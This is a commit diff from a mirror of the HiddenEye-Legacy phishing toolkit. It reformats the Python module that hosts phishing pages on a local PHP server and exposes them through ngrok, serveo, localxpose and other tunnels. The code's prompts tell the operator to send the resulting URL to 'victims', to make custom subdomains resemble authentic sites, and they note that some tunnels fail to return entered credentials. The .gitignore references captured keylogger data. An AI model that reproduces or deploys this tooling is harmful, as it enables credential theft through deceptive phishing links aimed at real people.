mirror of
https://github.com/DarkSecDevelopers/HiddenEye-Legacy.git
synced 2024-03-22 21:12:55 +08:00
Merge branch 'dev' into restyled/pull-765
This commit is contained in:
commit
88ce9d1b54
6
.gitignore
vendored
6
.gitignore
vendored
|
@ -23,3 +23,9 @@ Server/CapturedData/KeyloggerData.txt
|
|||
eula.txt
|
||||
|
||||
Server/www/
|
||||
|
||||
External_Software/
|
||||
|
||||
*.mo
|
||||
|
||||
venv/
|
||||
|
|
3
.idea/.gitignore
vendored
Normal file
3
.idea/.gitignore
vendored
Normal file
|
@ -0,0 +1,3 @@
|
|||
# Default ignored files
|
||||
/shelf/
|
||||
/workspace.xml
|
11
.idea/HiddenEye.iml
Normal file
11
.idea/HiddenEye.iml
Normal file
|
@ -0,0 +1,11 @@
|
|||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<module type="PYTHON_MODULE" version="4">
|
||||
<component name="NewModuleRootManager">
|
||||
<content url="file://$MODULE_DIR$" />
|
||||
<orderEntry type="jdk" jdkName="Python 3.8 (HiddenEye)" jdkType="Python SDK" />
|
||||
<orderEntry type="sourceFolder" forTests="false" />
|
||||
</component>
|
||||
<component name="TestRunnerService">
|
||||
<option name="PROJECT_TEST_RUNNER" value="Twisted Trial" />
|
||||
</component>
|
||||
</module>
|
17
.idea/inspectionProfiles/Project_Default.xml
Normal file
17
.idea/inspectionProfiles/Project_Default.xml
Normal file
|
@ -0,0 +1,17 @@
|
|||
<component name="InspectionProjectProfileManager">
|
||||
<profile version="1.0">
|
||||
<option name="myName" value="Project Default" />
|
||||
<inspection_tool class="PyPep8Inspection" enabled="true" level="WEAK WARNING" enabled_by_default="true">
|
||||
<option name="ignoredErrors">
|
||||
<list>
|
||||
<option value="W605" />
|
||||
</list>
|
||||
</option>
|
||||
</inspection_tool>
|
||||
<inspection_tool class="SpellCheckingInspection" enabled="false" level="TYPO" enabled_by_default="false">
|
||||
<option name="processCode" value="true" />
|
||||
<option name="processLiterals" value="true" />
|
||||
<option name="processComments" value="true" />
|
||||
</inspection_tool>
|
||||
</profile>
|
||||
</component>
|
6
.idea/inspectionProfiles/profiles_settings.xml
Normal file
6
.idea/inspectionProfiles/profiles_settings.xml
Normal file
|
@ -0,0 +1,6 @@
|
|||
<component name="InspectionProjectProfileManager">
|
||||
<settings>
|
||||
<option name="USE_PROJECT_PROFILE" value="false" />
|
||||
<version value="1.0" />
|
||||
</settings>
|
||||
</component>
|
4
.idea/misc.xml
Normal file
4
.idea/misc.xml
Normal file
|
@ -0,0 +1,4 @@
|
|||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<project version="4">
|
||||
<component name="ProjectRootManager" version="2" project-jdk-name="Python 3.8 (HiddenEye)" project-jdk-type="Python SDK" />
|
||||
</project>
|
8
.idea/modules.xml
Normal file
8
.idea/modules.xml
Normal file
|
@ -0,0 +1,8 @@
|
|||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<project version="4">
|
||||
<component name="ProjectModuleManager">
|
||||
<modules>
|
||||
<module fileurl="file://$PROJECT_DIR$/.idea/HiddenEye.iml" filepath="$PROJECT_DIR$/.idea/HiddenEye.iml" />
|
||||
</modules>
|
||||
</component>
|
||||
</project>
|
6
.idea/vcs.xml
Normal file
6
.idea/vcs.xml
Normal file
|
@ -0,0 +1,6 @@
|
|||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<project version="4">
|
||||
<component name="VcsDirectoryMappings">
|
||||
<mapping directory="$PROJECT_DIR$" vcs="Git" />
|
||||
</component>
|
||||
</project>
|
38
.restyled.yaml
Normal file
38
.restyled.yaml
Normal file
|
@ -0,0 +1,38 @@
|
|||
# See https://github.com/restyled-io/restyled.io/wiki/Configuring-Restyled
|
||||
|
||||
enabled: true
|
||||
|
||||
exclude:
|
||||
- "**/*.patch"
|
||||
- "**/node_modules/**/*"
|
||||
- "**/vendor/**/*"
|
||||
- ".github/workflows/**/*" # https://github.com/restyled-io/restyler/issues/73
|
||||
|
||||
changed_paths:
|
||||
maximum: 1000
|
||||
outcome: error
|
||||
|
||||
remote_files: []
|
||||
|
||||
auto: false
|
||||
|
||||
pull_requests: true
|
||||
|
||||
comments: false
|
||||
|
||||
statuses: true
|
||||
|
||||
request_review: author
|
||||
|
||||
labels: []
|
||||
|
||||
ignore_labels:
|
||||
- restyled-ignore
|
||||
|
||||
restylers_version: "master"
|
||||
|
||||
restylers:
|
||||
- autopep8
|
||||
- isort
|
||||
- reorder-python-imports
|
||||
- whitespace
|
|
@ -4,36 +4,39 @@
|
|||
# This is free software, and you are welcome to redistribute it
|
||||
# under certain conditions; you can read LICENSE for details.
|
||||
#
|
||||
import os
|
||||
|
||||
|
||||
from Defs.ImportManager.unsorted_will_be_replaced import run_command, run_background_command, wait, ngrok, requests, \
|
||||
regular_expression, check_output, CalledProcessError, chdir, chmod, DEVNULL, PIPE, path
|
||||
import Defs.ThemeManager.theme as theme
|
||||
import Defs.LocalizationManager.lang_action_manager.lang_server.lang_server_runner as localization
|
||||
import Defs.LocalizationManager.lang_global_usage as global_localization
|
||||
import Defs.ThemeManager.theme as theme
|
||||
from Defs.ActionManager import simple_informant
|
||||
from Defs.ImportManager.unsorted_will_be_replaced import BytesIO
|
||||
from Defs.ImportManager.unsorted_will_be_replaced import CalledProcessError
|
||||
from Defs.ImportManager.unsorted_will_be_replaced import check_output
|
||||
from Defs.ImportManager.unsorted_will_be_replaced import chmod
|
||||
from Defs.ImportManager.unsorted_will_be_replaced import DEVNULL
|
||||
from Defs.ImportManager.unsorted_will_be_replaced import ngrok
|
||||
from Defs.ImportManager.unsorted_will_be_replaced import ngrok_conf
|
||||
from Defs.ImportManager.unsorted_will_be_replaced import path
|
||||
from Defs.ImportManager.unsorted_will_be_replaced import regular_expression
|
||||
from Defs.ImportManager.unsorted_will_be_replaced import requests
|
||||
from Defs.ImportManager.unsorted_will_be_replaced import run_background_command
|
||||
from Defs.ImportManager.unsorted_will_be_replaced import run_command
|
||||
from Defs.ImportManager.unsorted_will_be_replaced import url_request
|
||||
from Defs.ImportManager.unsorted_will_be_replaced import wait
|
||||
from Defs.ImportManager.unsorted_will_be_replaced import ZipFile
|
||||
from Defs.LocalizationManager.helper import print_sorted_as_menu
|
||||
import os
|
||||
|
||||
try:
|
||||
os.mkdir("Server/www")
|
||||
except FileExistsError:
|
||||
pass
|
||||
enter_server_www = chdir("Server/www")
|
||||
exit_server_www = chdir("../..")
|
||||
|
||||
default_palette = theme.default_palette
|
||||
|
||||
|
||||
def server_selection(port): # Question where user must select server
|
||||
run_command('clear')
|
||||
# print('''
|
||||
# {1}_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1}
|
||||
# |__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1}
|
||||
# | | | ]__| ]__| |__ | \| {0}|__ || |__{1}
|
||||
# {0}http://github.com/darksecdevelopers
|
||||
# {0}** BY:DARKSEC ** \n\n-------------------------------\n
|
||||
|
||||
# )
|
||||
run_command("clear")
|
||||
print(global_localization.hidden_eye_logo)
|
||||
print(global_localization.official_website_link)
|
||||
print(global_localization.by_darksec)
|
||||
|
@ -42,64 +45,54 @@ def server_selection(port): # Question where user must select server
|
|||
print_sorted_as_menu(localization.lang_server_selection["servers_list"])
|
||||
choice = input(global_localization.input_line)
|
||||
choice = choice.zfill(2)
|
||||
if choice == '00':
|
||||
run_command('clear')
|
||||
if choice == "00":
|
||||
run_command("clear")
|
||||
start_localhost(port) # FIXED
|
||||
elif choice == '01':
|
||||
run_command('clear')
|
||||
elif choice == "01":
|
||||
run_command("clear")
|
||||
start_ngrok(port) # FIXED
|
||||
elif choice == '02':
|
||||
run_command('clear')
|
||||
start_serveo(port) # ALMOST FIXED
|
||||
elif choice == '03':
|
||||
run_command('clear')
|
||||
start_localxpose(port) # DOESN'T GET ENTERED CREDENTIALS BACK
|
||||
elif choice == '04':
|
||||
run_command('clear')
|
||||
elif choice == "02":
|
||||
run_command("clear")
|
||||
start_serveo(port) # TODO ALMOST FIXED
|
||||
elif choice == "03":
|
||||
run_command("clear")
|
||||
start_localxpose(port) # TODO DOESN'T GET ENTERED CREDENTIALS BACK
|
||||
elif choice == "04":
|
||||
run_command("clear")
|
||||
start_localtunnel(port, True)
|
||||
elif choice == '05':
|
||||
run_command('clear')
|
||||
elif choice == "05":
|
||||
run_command("clear")
|
||||
start_openport(port)
|
||||
elif choice == '06':
|
||||
run_command('clear')
|
||||
elif choice == "06":
|
||||
run_command("clear")
|
||||
start_pagekite(port)
|
||||
else:
|
||||
run_command('clear')
|
||||
run_command("clear")
|
||||
return server_selection(port)
|
||||
|
||||
|
||||
def set_php(host='127.0.0.1', port=80):
|
||||
run_command(['killall', '-2', 'php'], stdout=DEVNULL, stderr=DEVNULL)
|
||||
run_background_command(["php", "-S", "{0}:{1}".format(host, port), "-t", "Server/www"], stdout=DEVNULL,
|
||||
stderr=DEVNULL)
|
||||
def set_php(host="127.0.0.1", port=80):
|
||||
run_command(["killall", "-2", "php"], stdout=DEVNULL, stderr=DEVNULL)
|
||||
run_background_command(
|
||||
["php", "-S", "{0}:{1}".format(host, port), "-t", "Server/www"],
|
||||
stdout=DEVNULL,
|
||||
stderr=DEVNULL,
|
||||
)
|
||||
|
||||
|
||||
def set_port(port=80):
|
||||
run_background_command(
|
||||
["fuser", "-k", "{0}/tcp".format(port)], stdout=DEVNULL, stderr=DEVNULL)
|
||||
run_background_command(["fuser", "-k", "{0}/tcp".format(port)],
|
||||
stdout=DEVNULL,
|
||||
stderr=DEVNULL)
|
||||
|
||||
|
||||
def start_server(port=80):
|
||||
# run_command(["fuser", "-k", "{0}/tcp".format(port), ">", "/dev/null",
|
||||
# "2>&1"**/])
|
||||
set_port(port)
|
||||
# enter_server_www
|
||||
# run_command(["php", "-S", "127.0.0.1:{0}".format(port), ">",
|
||||
# "/dev/null", "2>&1", "&"])
|
||||
set_php(port=port)
|
||||
# exit_server_www
|
||||
|
||||
|
||||
def start_localhost(port):
|
||||
run_command('clear')
|
||||
# print('''
|
||||
# {1}_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1}
|
||||
# |__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1}
|
||||
# | | | ]__| ]__| |__ | \| {0}|__ || |__{1}
|
||||
# {0}http://github.com/darksecdevelopers
|
||||
# {0}** BY:DARKSEC ** \n\n-------------------------------
|
||||
run_command("clear")
|
||||
|
||||
# '')
|
||||
print(global_localization.hidden_eye_logo)
|
||||
print(global_localization.official_website_link)
|
||||
print(global_localization.by_darksec)
|
||||
|
@ -108,78 +101,44 @@ def start_localhost(port):
|
|||
host = "127.0.0.1"
|
||||
print(localization.lang_start_localhost["your_localhost_is"] + host)
|
||||
set_port()
|
||||
# run_command("cd Server/www/
|
||||
# && php -S {0}:{1} > /dev/null 2>&1 &".format(host, port))
|
||||
enter_server_www
|
||||
|
||||
set_php(host, port)
|
||||
print(localization.lang_start_localhost[
|
||||
"starting_server_on_addr"] + "{0}:{1}".format(host, port))
|
||||
# wait(2)
|
||||
run_command('clear')
|
||||
# print('''
|
||||
# {1}_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1}
|
||||
# |__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1}
|
||||
# | | | ]__| ]__| |__ | \| {0}|__ || |__{1}
|
||||
# {0}http://github.com/darksecdevelopers
|
||||
# {0}** BY:DARKSEC ** \n\n-------------------------------
|
||||
# ''')
|
||||
print(localization.lang_start_localhost["starting_server_on_addr"] +
|
||||
"{0}:{1}".format(host, port))
|
||||
run_command("clear")
|
||||
|
||||
print(global_localization.hidden_eye_logo)
|
||||
print(global_localization.official_website_link)
|
||||
print(global_localization.by_darksec)
|
||||
print(global_localization.line_of_dots)
|
||||
print(localization.lang_start_localhost["running_localhost_server"])
|
||||
|
||||
# print("-
|
||||
# ".format(default_palette[0], default_palette[2], default_palette[3], port, host))
|
||||
print(localization.lang_start_localhost["send_this_url_suggestion"])
|
||||
print(localization.lang_start_localhost[
|
||||
"localhost_url"] + '{0}:{1}\n'.format(host, port))
|
||||
print(localization.lang_start_localhost["localhost_url"] +
|
||||
"{0}:{1}\n".format(host, port))
|
||||
|
||||
|
||||
def start_ngrok(port):
|
||||
ngrok.DEFAULT_CONFIG_PATH = ".config/ngrok.yml"
|
||||
# ngrok.set_auth_token("<NGROK_AUTH_TOKEN>") # Will be easier to input
|
||||
# later
|
||||
run_command(['killall', '-2', 'ngrok'], stdout=DEVNULL, stderr=DEVNULL)
|
||||
run_command('clear')
|
||||
# print('''
|
||||
# {1}_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1}
|
||||
# |__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1}
|
||||
# | | | ]__| ]__| |__ | \| {0}|__ || |__{1}
|
||||
# {0}http://github.com/darksecdevelopers
|
||||
# {0}** BY:DARKSEC ** \n\n-------------------------------
|
||||
# ''')
|
||||
ngrok_conf.PyngrokConfig(config_path=".config/ngrok.yml")
|
||||
run_command(["killall", "-2", "ngrok"], stdout=DEVNULL, stderr=DEVNULL)
|
||||
run_command("clear")
|
||||
print(global_localization.hidden_eye_logo)
|
||||
print(global_localization.official_website_link)
|
||||
print(global_localization.by_darksec)
|
||||
print(global_localization.line_of_dots)
|
||||
print(localization.lang_start_ngrok["ngrok_server"])
|
||||
# run_command(['./Server/ngrok http {0}'.format(port)], stdout=DEVNULL, stderr=DEVNULL)
|
||||
# chmod('Server', 0o777)
|
||||
# run_command(['Server/ngrok', 'http {0}'.format(port)],stdout=DEVNULL,
|
||||
# stderr=DEVNULL)
|
||||
ngrok.connect(port=int(port))
|
||||
# currentDirectory = os.getcwd() #DELETE
|
||||
# print(currentDirectory) #DELETE
|
||||
while True:
|
||||
wait(2)
|
||||
# urlFile = open('link.url', 'w')
|
||||
# run_command(['curl', '-s', '-N', 'http://127.0.0.1:4040/api/tunnels', '|', 'grep', 'https://[0-9a-z]*\.ngrok.io', '-oh'], stdout=urlFile) #To Be Replaced
|
||||
# urlFile = open('link.url', 'r')
|
||||
# url = urlFile.read()
|
||||
ngrok_tunnels = ngrok.get_tunnels()
|
||||
url = ngrok_tunnels[0].public_url
|
||||
# urlFile.close()
|
||||
if regular_expression.match("https://[0-9a-z]*\.ngrok.io", url) is not None:
|
||||
# print(\n{0}[{1}*{0}]{1} Localhost URL: {2}http://127.0.0.1:{3}
|
||||
# \n{0}[{1}*{0}]{1} NGROK URL: {2}".format(
|
||||
# default_palette[0], default_palette[2], default_palette[3], port) + url + "{0}".format(default_palette[4]))
|
||||
# print("\n")
|
||||
if regular_expression.match("https://[0-9a-z]*\.ngrok.io",
|
||||
url) is not None:
|
||||
print(localization.lang_start_ngrok["send_this_url_suggestion"])
|
||||
print(localization.lang_start_localhost[
|
||||
"localhost_url"] + '127.0.0.1:' + port)
|
||||
print(localization.lang_start_ngrok[
|
||||
"ngrok_url"] + url + default_palette[4])
|
||||
print(localization.lang_start_localhost["localhost_url"] +
|
||||
"127.0.0.1:" + port)
|
||||
print(localization.lang_start_ngrok["ngrok_url"] + url +
|
||||
default_palette[4])
|
||||
break
|
||||
|
||||
|
||||
|
@ -191,133 +150,99 @@ def start_serveo(port):
|
|||
return True
|
||||
|
||||
def random(port):
|
||||
run_command('clear')
|
||||
# print('''
|
||||
# {1}_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1}
|
||||
# |__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1}
|
||||
# | | | ]__| ]__| |__ | \| {0}|__ || |__{1}
|
||||
# {0}http://github.com/darksecdevelopers
|
||||
# {0}** BY:DARKSEC ** \n\n-------------------------------
|
||||
#
|
||||
# ''')
|
||||
run_command("clear")
|
||||
print(global_localization.hidden_eye_logo)
|
||||
print(global_localization.official_website_link)
|
||||
print(global_localization.by_darksec)
|
||||
print(global_localization.line_of_dots)
|
||||
print(localization.lang_start_serveo["serveo_random_server"])
|
||||
|
||||
# run_command('ssh -o StrictHostKeyChecking=no -o
|
||||
# ServerAliveInterval=60 -R 80:localhost:%s serveo.net > link.url 2>
|
||||
# /dev/null &' % (port))
|
||||
run_command(['ssh', '-o', 'StrictHostKeyChecking=no', '-o', 'ServerAliveInterval=60', '-R',
|
||||
'localhost:{0}'.format(port), 'serveo.net', '>', 'link.url'], stdout=DEVNULL, stderr=DEVNULL)
|
||||
run_command(
|
||||
[
|
||||
"ssh",
|
||||
"-o",
|
||||
"StrictHostKeyChecking=no",
|
||||
"-o",
|
||||
"ServerAliveInterval=60",
|
||||
"-R",
|
||||
"localhost:{0}".format(port),
|
||||
"serveo.net",
|
||||
">",
|
||||
"link.url",
|
||||
],
|
||||
stdout=DEVNULL,
|
||||
stderr=DEVNULL,
|
||||
)
|
||||
wait(8)
|
||||
try:
|
||||
output = check_output(
|
||||
"grep -o '.\{0,0\}http.\{0,100\}' link.url", shell=True)
|
||||
output = check_output("grep -o '.\{0,0\}http.\{0,100\}' link.url",
|
||||
shell=True)
|
||||
url = output.decode("utf-8")
|
||||
# print("-\n
|
||||
# \n{0}[{1}*{0}]{1} Localhost URL: {2}http://127.0.0.1:{3}
|
||||
|
||||
# ".format(default_palette[0], default_palette[4], default_palette[3], port) + url + "{0}".format(default_palette[4]))
|
||||
# print("\n")
|
||||
print(localization.lang_start_serveo["send_this_url_suggestion"])
|
||||
print(localization.lang_start_localhost[
|
||||
"localhost_url"] + '127.0.0.1:' + port)
|
||||
print(localization.lang_start_serveo[
|
||||
"serveo_url"] + url + default_palette[4])
|
||||
print(localization.lang_start_localhost["localhost_url"] +
|
||||
"127.0.0.1:" + port)
|
||||
print(localization.lang_start_serveo["serveo_url"] + url +
|
||||
default_palette[4])
|
||||
except CalledProcessError:
|
||||
|
||||
wait(4)
|
||||
run_command('clear')
|
||||
run_command("clear")
|
||||
return random(port)
|
||||
|
||||
def custom(port):
|
||||
# print('''
|
||||
# {1}_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1}
|
||||
# |__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1}
|
||||
# | | | ]__| ]__| |__ | \| {0}|__ || |__{1}
|
||||
# {0}http://github.com/darksecdevelopers
|
||||
# {0}** BY:DARKSEC ** \n\n-------------------------------
|
||||
|
||||
# \n{0}[ CREATE A CUSTOM URL HERE ]{1}!! {0}\n-------------------------------\n
|
||||
|
||||
# \n
|
||||
# \n{0}Insert a custom subdomain for serveo'''.format(default_palette[0], default_palette[2]))
|
||||
print(global_localization.hidden_eye_logo)
|
||||
print(global_localization.official_website_link)
|
||||
print(global_localization.by_darksec)
|
||||
print(global_localization.line_of_dots)
|
||||
print(localization.lang_start_serveo["serveo_custom_server"])
|
||||
print(localization.lang_start_serveo[
|
||||
"make_url_simmilar_to_real_suggestion"])
|
||||
print(localization.
|
||||
lang_start_serveo["make_url_simmilar_to_real_suggestion"])
|
||||
print(localization.lang_start_serveo["insert_custom_subdomain"])
|
||||
|
||||
lnk = input(global_localization.input_line)
|
||||
if not ".serveo.net" in lnk:
|
||||
lnk += ".serveo.net"
|
||||
else:
|
||||
pass
|
||||
# run_command('ssh -o StrictHostKeyChecking=no -o
|
||||
# ServerAliveInterval=60 -o ServerAliveCountMax=60 -R
|
||||
# %s:80:localhost:%s serveo.net > link.url 2> /dev/null &' % (lnk,
|
||||
# port))
|
||||
run_command(
|
||||
['ssh', '-o', 'StrictHostKeyChecking=no', '-o', 'ServerAliveInterval=60', '-o', 'ServerAliveCountMax=60',
|
||||
'-R', '{0}:80:localhost:{1}'.format(lnk, port), 'serveo.net', '>', 'link.url'], stdout=DEVNULL,
|
||||
stderr=DEVNULL)
|
||||
run_background_command(
|
||||
[
|
||||
"ssh",
|
||||
"-o",
|
||||
"StrictHostKeyChecking=no",
|
||||
"-o",
|
||||
"ServerAliveInterval=60",
|
||||
"-o",
|
||||
"ServerAliveCountMax=60",
|
||||
"-R",
|
||||
"{0}:80:localhost:{1}".format(lnk, port),
|
||||
"serveo.net",
|
||||
">",
|
||||
"link.url",
|
||||
],
|
||||
stdout=DEVNULL,
|
||||
stderr=DEVNULL,
|
||||
)
|
||||
lnk += ".serveousercontent.com"
|
||||
wait(7)
|
||||
try:
|
||||
output = check_output(
|
||||
"grep -o '.\{0,0\}http.\{0,100\}' link.url", shell=True)
|
||||
url = output.decode("utf-8")
|
||||
run_command('clear')
|
||||
# print('''
|
||||
# {1}_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1}
|
||||
# |__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1}
|
||||
# | | | ]__| ]__| |__ | \| {0}|__ || |__{1}
|
||||
# {0}http://github.com/darksecdevelopers
|
||||
# {0}** BY:DARKSEC ** \n\n-------------------------------\n{0}[ CUSTOM SERVEO URL ]{1}!! {0}
|
||||
# \n-------------------------------'''.format(default_palette[0], default_palette[2]))
|
||||
run_command("clear")
|
||||
print(global_localization.hidden_eye_logo)
|
||||
print(global_localization.official_website_link)
|
||||
print(global_localization.by_darksec)
|
||||
print(global_localization.line_of_dots)
|
||||
print(localization.lang_start_serveo["serveo_custom_server"])
|
||||
|
||||
# print("\n{0}[{1}!{0}]{1} SEND THIS SERVEO URL TO VICTIMS-
|
||||
# \n{0}[{1}*{0}]{1} Localhost URL: {2}http://127.0.0.1:{3}
|
||||
# \n{0}[{1}*{0}]{1} SERVEO URL: {2}".format(default_palette[0], default_palette[2], default_palette[3], port) + url + "{0}".format(default_palette[4]))
|
||||
print(localization.lang_start_serveo["send_this_url_suggestion"])
|
||||
print(localization.lang_start_localhost[
|
||||
"localhost_url"] + '127.0.0.1:' + port)
|
||||
print(localization.lang_start_serveo[
|
||||
"serveo_url"] + url + default_palette[4])
|
||||
print(localization.lang_start_localhost["localhost_url"] +
|
||||
"127.0.0.1:" + port)
|
||||
print(localization.lang_start_serveo["serveo_url"] + lnk +
|
||||
default_palette[4])
|
||||
|
||||
print("\n")
|
||||
|
||||
except CalledProcessError:
|
||||
# print('''\n !!!\n
|
||||
# !!!\n
|
||||
# !! \n''')
|
||||
print(localization.lang_start_serveo["failed_to_get_domain"])
|
||||
print(localization.lang_start_serveo["suggestion_to_fix_issue"])
|
||||
print(localization.lang_start_serveo["you_can_try_to_select_other_domain"])
|
||||
print(localization.
|
||||
lang_start_serveo["you_can_try_to_select_other_domain"])
|
||||
wait(4)
|
||||
run_command('clear')
|
||||
run_command("clear")
|
||||
return custom(port)
|
||||
|
||||
if is_online:
|
||||
# print('''
|
||||
# {1}_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1}
|
||||
# |__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1}
|
||||
# | | | ]__| ]__| |__ | \| {0}|__ || |__{1}
|
||||
# {0}http://github.com/darksecdevelopers
|
||||
# {0}** BY:DARKSEC ** \n\n-------------------------------
|
||||
|
||||
#
|
||||
#
|
||||
# '''.format(default_palette[0], default_palette[2]))
|
||||
print(global_localization.hidden_eye_logo)
|
||||
print(global_localization.official_website_link)
|
||||
print(global_localization.by_darksec)
|
||||
|
@ -325,224 +250,276 @@ def start_serveo(port):
|
|||
print(localization.lang_start_serveo["serveo_url_option_selection"])
|
||||
print(localization.lang_start_serveo["serveo_phishing_warning"])
|
||||
print(localization.lang_start_serveo["choose_type_of_url"])
|
||||
|
||||
# print(" \n".format(default_palette[0], default_palette[2]))
|
||||
print_sorted_as_menu(localization.lang_start_serveo["url_types"])
|
||||
choice = input(global_localization.input_line)
|
||||
run_command('clear')
|
||||
if choice == '1':
|
||||
run_command("clear")
|
||||
if choice == "1":
|
||||
|
||||
custom(port)
|
||||
elif choice == '2':
|
||||
elif choice == "2":
|
||||
random(port)
|
||||
else:
|
||||
run_command('clear')
|
||||
run_command("clear")
|
||||
return start_serveo(port)
|
||||
else:
|
||||
# print("Serveo is DOWN now, do you want to select another option? Y/n")
|
||||
print(localization.lang_start_serveo["serveo_is_down"])
|
||||
choice = input("HiddenEye >> ")
|
||||
choice = choice.lower()
|
||||
if choice == 'y':
|
||||
if choice == "y":
|
||||
return server_selection(port)
|
||||
else:
|
||||
return start_serveo(port)
|
||||
|
||||
|
||||
def start_localxpose(port):
|
||||
localxpose_file = "External_Software/loclx"
|
||||
localxpose_url = (
|
||||
"https://lxpdownloads.sgp1.digitaloceanspaces.com/cli/loclx-linux-arm64.zip"
|
||||
)
|
||||
if path.isfile(localxpose_file):
|
||||
pass
|
||||
else:
|
||||
if simple_informant.check_platform(
|
||||
"system") == "Linux" and simple_informant.check_platform(
|
||||
"architecture" is "x86_64"):
|
||||
localxpose_url = "https://lxpdownloads.sgp1.digitaloceanspaces.com/cli/loclx-linux-amd64.zip"
|
||||
elif simple_informant.check_platform(
|
||||
"system") == "Linux" and simple_informant.check_platform(
|
||||
"architecture" is "aarch64"):
|
||||
localxpose_url = "https://lxpdownloads.sgp1.digitaloceanspaces.com/cli/loclx-linux-arm64.zip"
|
||||
with url_request.urlopen(localxpose_url) as loclxzip:
|
||||
with ZipFile(BytesIO(loclxzip.read())) as zip_file:
|
||||
zip_file.extractall("External_Software")
|
||||
chmod("External_Software/loclx", 0o777)
|
||||
|
||||
def random(port):
|
||||
run_command('clear')
|
||||
print('''
|
||||
{1}_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1}
|
||||
|__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1}
|
||||
| | | ]__| ]__| |__ | \| {0}|__ || |__{1}
|
||||
{0}http://github.com/darksecdevelopers
|
||||
{0}** BY:DARKSEC ** \n\n-------------------------------\n{0}[ RANDOM LOCALXPOSE URL ]{1}!! {0}\n-------------------------------'''.format(
|
||||
default_palette[1], default_palette[2]))
|
||||
# run_command('./Server/loclx tunnel http --to :%s > link.url 2> /dev/null &' % (port))
|
||||
run_command(['Server/loclx', 'tunnel', 'http', '--to', ':{0}'.format(port), '>', 'link.url'], stdout=DEVNULL,
|
||||
stderr=DEVNULL)
|
||||
wait(8)
|
||||
run_command("clear")
|
||||
print(global_localization.hidden_eye_logo)
|
||||
print(global_localization.official_website_link)
|
||||
print(global_localization.by_darksec)
|
||||
print(global_localization.line_of_dots)
|
||||
print(localization.lang_rand_localxpose["localxpose_random_server"])
|
||||
run_command(
|
||||
[
|
||||
"External_Software/loclx",
|
||||
"tunnel",
|
||||
"http",
|
||||
"--to",
|
||||
":{0}".format(port),
|
||||
">",
|
||||
"link.url",
|
||||
],
|
||||
stdout=DEVNULL,
|
||||
stderr=DEVNULL,
|
||||
)
|
||||
try:
|
||||
output = check_output(
|
||||
"grep -o '.\{0,0\}https.\{0,100\}' link.url", shell=True)
|
||||
url = output.decode('utf-8')
|
||||
output = check_output("grep -o '.\{0,0\}https.\{0,100\}' link.url",
|
||||
shell=True)
|
||||
url = output.decode("utf-8")
|
||||
print(
|
||||
"\n{0}[{1}!{0}]{1} SEND THIS LOCALXPOSE URL TO VICTIMS-\n\n{0}[{1}*{0}]{1} Localhost URL: {2}http://127.0.0.1:{3}\n{0}[{1}*{0}]{1} LOCALXPOSE URL: {2}{4}{1}".format(
|
||||
default_palette[0], default_palette[4], default_palette[3], port, url) + "{0}".format(
|
||||
default_palette[4]))
|
||||
"\n{0}[{1}!{0}]{1} SEND THIS LOCALXPOSE URL TO Target-\n\n{0}[{1}*{0}]{1} Localhost URL: {2}http://127.0.0.1:{3}\n{0}[{1}*{0}]{1} LOCALXPOSE URL: {2}{4}{1}"
|
||||
.format(
|
||||
default_palette[0],
|
||||
default_palette[4],
|
||||
default_palette[3],
|
||||
port,
|
||||
url,
|
||||
) + "{0}".format(default_palette[4]))
|
||||
print("\n")
|
||||
except CalledProcessError:
|
||||
|
||||
wait(4)
|
||||
run_command('clear')
|
||||
run_command("clear")
|
||||
return random(port)
|
||||
|
||||
def custom(port):
|
||||
|
||||
print('''
|
||||
{1}_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1}
|
||||
|__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1}
|
||||
| | | ]__| ]__| |__ | \| {0}|__ || |__{1}
|
||||
{0}http://github.com/darksecdevelopers
|
||||
{0}** BY:DARKSEC ** \n\n-------------------------------\n{0}[ CREATE A CUSTOM URL HERE ]{1}!! {0}\n-------------------------------\n\n{0}[{1}!{0}]{1} YOU CAN MAKE YOUR URL SIMILAR TO AUTHENTIC URL.\n\n{0}Insert a custom subdomain for Localxpose(Ex: mysubdomain)'''.format(
|
||||
print(global_localization.small_logo)
|
||||
print(
|
||||
"""\n\n-------------------------------\n{0}[ CREATE A CUSTOM URL HERE ]{1}!! {0}\n-------------------------------\n\n{0}[{1}!{0}]{1} YOU CAN MAKE YOUR URL SIMILAR TO AUTHENTIC URL.\n\n{0}Insert a custom subdomain for Localxpose(Ex: mysubdomain)"""
|
||||
.format(default_palette[0], default_palette[2]))
|
||||
lnk = input("\n{0}CUSTOM Subdomain>>> {1}".format(
|
||||
default_palette[0], default_palette[2]))
|
||||
lnk = input("\n{0}CUSTOM Subdomain>>> {1}".format(default_palette[0], default_palette[2]))
|
||||
run_command('./Server/loclx tunnel http --to :%s --subdomain %s > link.url 2> /dev/null &' % (port, lnk))
|
||||
run_command(
|
||||
"./Server/loclx tunnel http --to :%s --subdomain %s > link.url 2> /dev/null &"
|
||||
% (port, lnk))
|
||||
wait(7)
|
||||
try:
|
||||
output = check_output("grep -o '.\{0,0\}https.\{0,100\}' link.url", shell=True)
|
||||
output = check_output("grep -o '.\{0,0\}https.\{0,100\}' link.url",
|
||||
shell=True)
|
||||
url = output.decode("utf-8")
|
||||
run_command('clear')
|
||||
print('''
|
||||
run_command("clear")
|
||||
print("""
|
||||
{1}_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1}
|
||||
|__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1}
|
||||
